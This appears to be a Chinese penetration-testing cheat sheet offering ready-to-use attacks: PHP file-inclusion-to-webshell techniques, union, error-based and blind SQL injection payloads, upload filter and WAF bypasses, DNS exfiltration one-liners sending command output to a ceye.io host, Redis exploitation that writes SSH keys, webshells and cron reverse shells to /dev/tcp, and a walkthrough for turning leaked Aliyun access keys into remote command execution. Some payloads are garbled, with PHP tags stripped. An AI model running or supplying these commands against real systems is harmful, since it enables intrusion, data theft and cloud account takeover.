/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
```

**绝对路径:**

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibIc2k614Bbn1libAOQhtDRX1R5Zc7npXmyBqjk9jic2TKmju4vAm2rDnA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

**../跨目录读取:**

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibsGB5eqaug8URYTHUngic9iaP7SdqhhT5uwXuq6yYKkdg4oDXXt3OV29A/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

**②配合图片马getshell**

需要有一个文件上传的点,并且能够上传图片马,图片马的内容如下:

```
');?>
```

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibuHDML0ia1F3icQbDxYftBnOmBIlWbdia1wLAYmp0EPB3rJ0QpxbBjpSAg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

会在当前目录下生成panda.php,密码为PANDA,连接即可

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibSrDjjOeamDLqUbUq3ILhroYhea8ME4qMLdnb5wMHECNVRdbqqLMsibw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

**③包含临时文件+phpinfo getshell**

在PHP文件包含漏洞中,当我们找不到用于触发RCE的有效文件时,如果存在PHPINFO(它可以告诉我们临时文件的随机生成的文件名及其位置),我们可能可以包含一个临时文件来利用它升级为RCE。

**利用方法简述:**

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

**这个时候就需要用到条件竞争,具体流程如下:**

1、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

2、因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

3、php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

4、所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

6、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

**操作过程:**

**访问存在文件包含漏洞的页面**

```
http://192.168.136.128:8080/lfi.php?file=/etc/passwd
```

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibq7iathIdDFVib8elfl2ojziaJqQs9WJ5vA77ZFYwTeRG8icHoibWJjTEK4A/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

访问phpinfo页面,需要确实存在

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibCytdyZHhE2TEKyN2yOGXFoBMbsfiajj9tyUFH1LWyXXdOuAQqqZDqag/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

然后利用exp进行利用:

-

```
python2 exp.py 目标ip 8080 100
```

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibWsQwkcBmrnWQFvepzByhAaT1HLzpu7fe9EFYqRywibrwFajA7oBFqiag/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

在189次请求时,就写入成功了

脚本exp.py实现了上述漏洞利用过程,成功包含临时文件后,会利用file_put_contents函数写入=eval($_REQUEST[1])?>一句话后门到/tmp/g文件中,这个文件会永久留在目标机器上

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibPztrWuAFn0QTx0XIEjFNEZf7ibTd82EiaFxicHGhPQ7uWlXfiaYrKdZfbg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

然后直接利用蚁剑进行连接即可,密码为1:

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibI5PuvsGpfI0gWTzRHEwoicoU3McPG9cKfjGWic7Yv11Marjjkc6QyUWw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

**④包含session文件getshell**

session简介:cookie存在客户端,session存在服务端,cookie一般用来保存用户得账户密码,session一般用来跟踪会话。

**利用场景:**

一般对于登陆点存在注册用户的,那么就可以起一个为payload的名字,这样会将payload保存在session文件中

利用条件:

**①session文件路径已知**

session文件路径位置可以通过phpinfo页面来获取:session.save_path参数

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibbDFhfduBoIT0x0RwbfJ8hp2LTu22NLJLXytRexYHN1PW53P0GctI3Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

也可以猜测常见的一些session存储位置:

-
-

```
/var/lib/php/sess_[PHPSESSID]/tmp/sess_[PHPSESSID]
```

**②且其中部分内容可控制**

**利用方式:**

访问漏洞页面,在参数中构造payload

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibhoaENlk0KrwhwvaG7cTLt1dJVdn1VNeaxicxXFNfKBW9zGO1yKtmdpQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

然后我们的首要任务就是获取session文件名,可通过谷歌浏览器,或者burp抓包查看

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibWMmvPROVlpTfvta9CRIagezTqpGfsp1lquleeQDWYTAbBpTn4Q8Ctw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

文件名:sess_hvjhivr3iptal3909f90rksu9p,利用文件包含漏洞跨目录包含session文件getshell

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibkoKlMTR07PtF77W9kjiaQSqJDbknO7A22JdFC2ibZHxLhUWvEYKJh7IA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

连接webshell

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibMNiavmdeC22KwC6ZR4kdRndn3dIngpbr6xj45nh541OsLxMiaXy56mSA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

**⑤包含日志文件getshell**

**1.包含Apache日志文件**

在用户发起请求时,服务器会将请求写入access.log(会记录访问IP、访问链接、Referer和User-Agent等),当请求错误时将错误写入error.log

**利用条件:**日志文件的存储路径,并且日志文件可读。

**①apache的日志文件可以通过phpinfo页面来查询,apache2handler 中的server root就是apache的安装路径,那么日志文件应该就是在这个路径下的logs目录中**

**②或者通过猜测常见日志文件的路径/usr/local/apache/logs/error_log或者access_log**

**③也可用通过先包含配置文件来确定日志文件路径**

-
-

```
index.php?page=/etc/init.d/httpdindex.php?page=/etc/httpd/conf/httpd.conf
```

**利用方式:**

因为会自动url编码,会导致无法利用,所以抓包再请求

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibILg71QSriaVicBkWxaev9IpmrlzRyKP0Tz1yToSPDU7WGewq3ib3cYvIQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

可以看到error.log文件中已经成功写入了payload

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibMkPvIM4j8CsHdWHV7kYSFSXNVbymciaPHKVqibZiaqPicUFhRThfIqybEg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

然后包含log文件路径即可

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbib3wPM0ibYiaEx35XrvDlXjbG6rnJKOFeeutXBoapvSFNydYkwnaSAAAvA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

连接webshell

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibMNiavmdeC22KwC6ZR4kdRndn3dIngpbr6xj45nh541OsLxMiaXy56mSA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

**2.包含SSH日志文件**

-

```
ssh ''@192.168.136.143
```

这样把用户名写成phpinfo,ssh的登陆日志就会把此次的登陆行为记录到日志中,利用包含漏洞getshell

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibLEl6dAVGe8c6AfyrnevYGZVKkQO8h0H6syPzNG7KMauQrgmRyyTtzw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

可以看到我们登陆的行为都被记录到了日志当中

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibIOibBzIOLll8ooQ5sWeF2fSQ7rtnP6APU09wPibUht1o3ia6E9Peyt6NQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

可以看到刚才登陆的时候,成功phpinfo写入到日志文件中并且成功解析

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibxS7Brrqa6zc0M4T5jmzq1vEG2Fsiaq2huYwD3QVhD9zWku3rHCSCYcQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

通过phpinfo查看到了网站根目录

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibQRHNccvl4ODY5iaDEUic4lpyicY7RiaqWycEtEMPYv1NJuoSSBwlOh8Ocw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

本来想着利用文件包含漏洞配合fputs和fopen函数在网站根目录写入一句话木马getshell,但是由于单引号太多就报错了,只能另谋出路

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibIsYlBtsR4lng0YiaeIXYV1z139YrLPsbRs7STvVf25KhuhDWFxAV54Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

然后就想到了把执行命令的一句话木马写入日志,利用文件包含执行反弹shell

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibuKZsD9bvlceKys2xVDMmEibfzvuicgMEBc0R8bbX9pDu00ia6YsHaUcgA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

然后构造请求执行命令,因为刚才我写进去的是通过GET方式用panda参数传参,多个参数之间用&符号连接,还是要注意,命令要url编码再执行

![img](https://mmbiz.qpic.cn/mmbiz_png/ehibzaP4CvW5u62003kUNCvqaZBl7yLbibPsafM6CeRIB6Aja4KKcXibgwQZtpooic4hQp9UBszS3CiaGfGmPgTV3hA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

## sql注入漏洞

手注

https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI/

查询用 http://sqlwiki.radare.cn/

**mysql数字型手注**

字符型和数字的注入基本一样(下面直接演示数字型),只是字符的需要闭合前面的一条sql

常见的闭合就是

```
'

"

')

'')
```

有时还需要注释后面的一些sql

可以使用

```
--+

# 在url里面需要编码为 %23
```

```
判断字段
?id=1 and 1=1 order by 1

回显点判断

?id=1 and 1=2 union select 1,2

当前库

?id=1 and 1=2 union select 1,database()
当前用户

?id=1 and 1=2 union select 1,user()

当前版本

?id=1 and 1=2 union select 1,version()

爆表

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

当前表字段名

用limit进行查询

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

获取数据

?id=1 and 1=2 union select 1,password from admin limit 0,1
```

mysql报错注入

在不能联合注入的时候就需要用到它

(有十种报错函数,https://www.cnblogs.com/wocalieshenmegui/p/5917967.html)

```
爆库:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +

爆表:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +

爆字段:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +

爆数据:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- +
```

mysql盲注

1. 时间盲注
2. 布尔盲注

可以用二分,dnslog,等等可以加快注入

工具

https://github.com/ADOOO/DnslogSqlinj

时间盲注也叫延时注入 一般用到函数 `sleep()` `BENCHMARK()`

一般时间盲注我们还需要使用条件判断函数

`if(expre1,expre2,expre3)` 当expre1为true时,返回expre2,false时,返回expre3 盲注的同时也配合着mysql提供的分割函,与正则函数 like函数,比较函数等等

```
select * from users where id =1 and if((substr((select user()),1,1)='r'),sleep(5),1);
```

们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号 常用到的就有 `ascii()` `hex()` 等等 `benchmark()`其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。

```
select * from users where id =1 and if((substr((select user()),1,1)='r'),BENCHMARK(20000000,md5('a')),1);
```

盲注思路的思路很多 比如正则匹配,比较函数,运算符,推荐大家可以看看 https://www.anquanke.com/post/id/170626

简单来说就是通过函数看返回true还是false

1.直接通过字符串截取对比,类似函数很多后面做个总结吧

```
http://127.0.0.1/sqli/Less-1/?id=1' and substr((select user()),1,1)='r' -- +
```

2.用 `IFNULL()` 函数

```
http://127.0.0.1/sqli/Less-1/?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
```

3.使用 比较函数`strcmp()`

```
1.

http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),0) -- +

2.

mysql> select * from users where id =1 and 0=strcmp((substr((select user()),1,1)),'o');
Empty set (0.00 sec)

mysql> select * from users where id =1 and 0=strcmp((substr((select user()),2,1)),'o');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
```

**mssql手注**

参考https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

查询基本信息

```
and @@version>~1

and (user|1)>-1

and (db_name()|1)>.1
```

判断当前表名和列名 也可以使用 `having 1=1` 和 `group by`

```
http://192.168.130.137/1.aspx?id=1 having 1=1
```
**爆出当前表和字段**

[![mysql](img/1.4.6.png)](https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI/blob/master/img/1.4.6.png)

**爆出所有的字段**

```
http://192.168.130.137/1.aspx?id=1 group by info.id,info.name having 1=1
```

[![mysql](img/1.4.7.png)](https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI/blob/master/img/1.4.7.png)

## 文件上传漏洞

![image-20201125140003211](img/image-20201125140003211.png)

练习环境:https://github.com/c0ny1/upload-labs

参考文章:

https://www.jianshu.com/p/74ca4e884645 (上传总结)

https://www.jianshu.com/p/1ccbab572974 (解析总结)

**特殊后缀绕过黑名单**

apache

> php、php3、php4、php5、phpt、phtml

iis

> asa、cer、cdx

**上传.htaccess文件**

我们需要上传一个.htaccess文件,内容为:

```xml
#所有文件都会解析成php
SetHandler application/x-httpd-php

# 解析指定jpg

SetHandler application/x-httpd-php

# 解析xx后缀
AddType application/x-httpd-php xxx

```

**NTFS流冒号截断**

如上传"test.asp:1.jpg"文件,会生成一个名为"test.asp"的空文件,原理是利用Windows的NTFS可替代数据流的特性。另外,

":"截断操作是优先级高于会报错的字符(0x00除外)的,会先截断,只要报错字符在":"后面,系统是不会报错的。
如果":"是文件名的最后一个字符,则不会截断,会报错
一个文件名中如果包含1个以上的":"号,也是会报错

**::$DATA绕过**

windows特性,可在后缀名中加” ::$DATA”绕过

**nginx空字节代码执行漏洞**

在fast-cgi关闭的情况下,nginx版本:0.5.*, 0.6.*, 0.7- 0.7.65, 0.8 -0.8.37,nginx在图片后附加php代码然后通过访问

```css
xx.jpg%00.php
```

**IIS 7.0&7.5畸形解析漏洞和nginx畸形解析漏洞**

默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件

上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会解析为php

**iis6畸形目录解析漏洞**

原因是web应用程序和IIS对同一文件的文件名称(类型)理解不一致造成的

1. 畸形目录解析
/xxxx.asp/xxx.jpg
即.asp结尾的目录下面,而被IIS当成可执行文件来解析
2. 分号文件解析
test.asp;.jpg

**Apache文件名解析**

Apache对文件的解析名不是仅仅认识最后一个后缀名,而是从右向左,依次识别,直到遇到自己能解析的文件名为止

.php.sfds.sfsdf.wewfgw.gwegw

只认识php就解析为php

**Apache换行解析漏洞 (CVE-2017-15715)**

其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析

上传webshell,然后在1.php后面插入一个\x0A换行

**nginx文件名逻辑漏洞(CVE-2013-4547)**

受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x

正常上传一个附加代码的图片"test.jpg",访问时后面+"空格"+"\0"+".php" 即让图片作为php文件解析

(不能编码,burp改包,把第二个空格改为00)

```bash
"/test.jpg .php"
/test.jpg[0x20][0x00].php
```

**bypass waf**

安全狗的绕过,常有下列三种方法

    a). ===绕过

      Content-Disposition : from-data; name="upload" ; filename==="microfan.php"

    b). 去除""绕过

      Content-Disposition : from-data; name="upload" ; filename=microfan.php

    c). 少"绕过

      Content-Disposition : from-data; name="upload" ; filename="microfan.php

## 命令执行

### 结果外带

**Windows**

在windows当中,%cd% 代表的是当前目录,我们通过echo将当前目录写入文本temp,然后荣国certutil对文件内容进行base64编码,再过滤certutil携带的字符,将它赋给一个变量,最后通过nslookup外带出来,从而实现获取当前目录的目的。

```
echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&set /p ADDR=>text3.txt)
```

为什么在上面需要过滤=,主要是因为在执行ping命令的时候是不允许带=号的,相较于nslookup,ping命令成功率相对较高,但如果路径过长,可能会导致失败。具体多长需要大家自行试验。

```
echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&for /f "delims=^= tokens=1,*" %i in (temp2) do (echo %i>>temp3)&&set /p ADDR= test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.is1lv6.ceye.io';$j += 1; nslookup $fin }
```

**(b)Linux**

在linux中pwd也是查看当前目录的,我们通过tr -d将换行符去掉并通过xxd -ps将值转化为16进制,这样我们即可外带出自己想要的东西。

```
ping pwd|tr -d '\n'|xxd -ps.is1lv6.ceye.io
```

base64原理和上面类似,主要是对值进行base64编码,然后替换掉“=”,即可成功外带数据。

```
pingpwd|base64|tr -d ‘=’.is1lv6.ceye.io
```

如果有多行数据需要外带,那么请考虑下面的语句。(和大佬学的)

```
var=11111 && for b in $(find / -name "index.php" | xargs grep "111222"|xxd -p); do var=$((var+1)) && dig $var.$b.is1lv6.ceye.io; done
```

oob主要参考一位大佬文章,会在文末列出。

## 未授权漏洞

### redis

参考:https://www.cnblogs.com/twosmi1e/p/13308682.html

https://www.cnblogs.com/loopkep/p/11135949.html

#### **常用命令**

```
set testkey "Hello World" # 设置键testkey的值为字符串Hello World
get testkey # 获取键testkey的内容
SET score 99 # 设置键score的值为99
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
get anotherkey # 获取一个不存在的键的值
config set dir /home/test # 设置工作目录,Redis产生的备份文件将放在这个目录下
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall 删除所有数据
del key 删除键为key的数据
```

1. 使用SET和GET命令,可以完成基本的赋值和取值操作;
2. Redis是不区分命令的大小写的,set和SET是同一个意思;
3. 使用keys *可以列出当前数据库中的所有键;
4. 当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
5. 如果键的值中有空格,需要使用双引号括起来,如"Hello World";

#### **利用**

##### 写ssh-keygen登录

利用条件

1. root账号启动redis服务
2. 服务器开放SSH服务,允许密钥登录。

1. 攻击机上生成公私钥
![img](img/2059787-20200715224555141-1298892077.png)
2. 未授权访问redis
![img](img/2059787-20200715224603427-816508208.png)
3. 利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys
![img](img/2059787-20200715224612696-1520388092.png)
4. 写入键值
![img](img/2059787-20200715224623093-986828475.png)
5. ssh连接
![img](img/2059787-20200715224628816-465374735.png)

利用二

```
>ssh-keygen -t rsa
>(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > qq.txt
>cat qq.txt | redis-cli -h 127.0.0.1 -x set crackit
>redis-cli -h 127.0.0.1
6379> config set dir /root/.ssh/
6379> config set dbfilename "authorized_keys"
6379> save
```

##### 写计划任务反弹shell

定时任务位置位于文件:/var/spool/cron/用户名

**原理**

/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。

**执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现**。

**利用条件**

redis是root用户启动

**坑:crontab反弹debian,ubuntu都不行**,因为他们对计划任务的格式很严格,必须要执行
`crontab -u root /var/spool/cron/crontabs/root`
通过语法检查后,才能执行计划任务。

执行

```
#获取dir的值
config get dir
#获取dbfilename的值
config get dbfilename
#设置数据库备份目录为linux计划任务目录
config set dir '/var/spool/cron/'
#设置备份文件名为root,以root身份执行计划任务
config set dbfilename 'root'
#删除所有数据库的所有key
flushall
#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。
eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/10.10.19.29/8080 0>&1'
#保存
save
#删除新增的key
del cron
#恢复dir和dbfilename
config set dir '***'
config set dbfilename '***'
```

利用

```
redis 192.168.242.134:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1\n"
redis 192.168.242.134:6379> config set dir /var/spool/cron/
redis 192.168.242.134:6379> config set dbfilename root
redis 192.168.242.134:6379> save
```

##### 写webshell

利用条件

1. 已知web的绝对路径
2. 具有读写权限

```
redis-cli -h 192.168.1.154
config set dir /var/www/html
set xxx "\n\n\n\n\n\n"
config set dbfilename webshell.php
save
```

##### 利用主从复制获取shell

利用脚本1

```
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
git clone https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so
```

脚本2

```
https://github.com/vulhub/redis-rogue-getshell
需要python3.0以上
编译
>cd RedisModulesSDK/
>make
会在此目录下生成exp.so
执行命令
>python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"

https://github.com/n0b0dyCN/redis-rogue-server
需要python3.6以上
编译
>cd RedisModulesSDK/exp
>make
执行
>./redis-rogue-server.py --rhost 192.168.0.120 --lhost 192.168.0.108
```

相关利用工具

https://github.com/00theway/redis_exp

https://github.com/r35tart/RedisWriteFile

##### 其他姿势

Windows下如何getshell?

- 写入webshell,需要知道web路径
- 写入启动项,需要目标服务器重启
- 系统dll劫持
- 覆盖软件或者中间件配置文件
- 覆盖快捷方式
- 覆盖粘滞键,放大镜
- 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。

实战在生产环境下用还是会有很多问题的

1. redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
2. Ubuntu,Debian写计划任务反弹无用
3. 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来
4. 生产环境下用`KEY *` 这样的命令直接炸

## 敏感信息泄漏利用

### 阿里云Access Key利用

首先用行云管家导入云主机,网站地址:https://yun.cloudbility.com/

步骤:选择阿里云主机 -> 导入key id跟key secret -> 选择主机 -> 导入即可(名字随便输)

我们用这个只是为了得到两个数据,就是**实例ID以及所属网络**,拿到就可以走人了.

这里我们打开阿里API管理器,这个是阿里提供给运维开发人员使用的一个工具,

https://api.aliyun.com/#/?product=Ecs

点击左边的搜素框输入command,我们会用到CreateCommand跟InvokeCommand,CreateCommand是创建命令,InvokeCommand是调用命令。继续往下看

![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribSc1yXehrLAgMEv9p7DyEFfuSru0zW7YlA50JjAtIEibWVHYEGo0qtJVnQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

Name部分随意

Type指的是执行脚本类型

RunBatScript:创建一个在Windows实例中运行的 Bat 脚本。

RunPowerShellScript:创建一个在Windows实例中运行的PowerShell脚本。

RunShellScript:创建一个在Linux实例中运行的Shell脚本。

CommandContent为执行命令,需要注意的是这里是填写base64编码。

填写完后选择python

![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribScFLYCmT0CO5KSxJSZNa8LJATJc0jC4cRkPHjuCoUr4pDUib44HRQUDUA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

点击**调试SDK示例代码**,此时会弹出Cloud shell窗口,并创建一个CreateCommand.py文件,用vim编辑器打开CreateCommand.py,修改accessKeyId与accessSecret。

![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribScqAeuZ8UumNuZqwSyLhMkWBibHpQbEINQKYY7yHqNYOMFyqrlnmTgu9Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribScoM4GVJbBWJJfaJTNgHFNuEqZSgkrdicOwr5HRxBkwo2ffNNXM2LLKoQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

执行CreateCommand.py,会返回一个RequestId与CommandId,记录CommandId,后面调用命令会用到。

![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribScBE7czOcxicKZuXHIpRicVgicRAibTmDK5oGhjZTXQtqibV3iatJjDGWPD2mQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

打开InvokeCommand

RegionId填写行云管家中的所属网络

CommandId填写刚刚执行CreateCommand.py返回的CommandId

InstanceId填写示例ID,行云管家中获取到的那个

继续点击**调试SDK代码**,会生成一个InvokeCommand.py文件,同样用vim编辑器把accessKeyId与accessSecret修改了。

![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribScfCqYTQiaFqlLrnG8ntYaecWnZZwBJqDLHeC7cBHopSxFdhibqObyVhdw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

修改完成后使用nc监听端口,执行InvokeCommand.py。

![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribScWV8vIzqkd7OGnQH4xszFoHurKCiagO5vGxQLMeq2jBA6KMeaFBWseJg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

成功执行命令反弹shell,收工。

#### alicloud利用工具

https://github.com/iiiusky/alicloud-tools

## 中间件安全

### tomcat安全

参考:https://www.anquanke.com/post/id/223002 不安全的中间件——Tomcat

**自带的默认应用**

1. examples目录

1. 信息泄漏
2. /examples/servlets/servlet/SessionExample 允许用户对session进行操纵(老系统可能出现)

2. admin管理页面

1. Tomcat 5.0.4版本之前都是默认安装,.5.0.4之后版本默认存在该目录,但是功能并不全

1. 默认路径为/admin
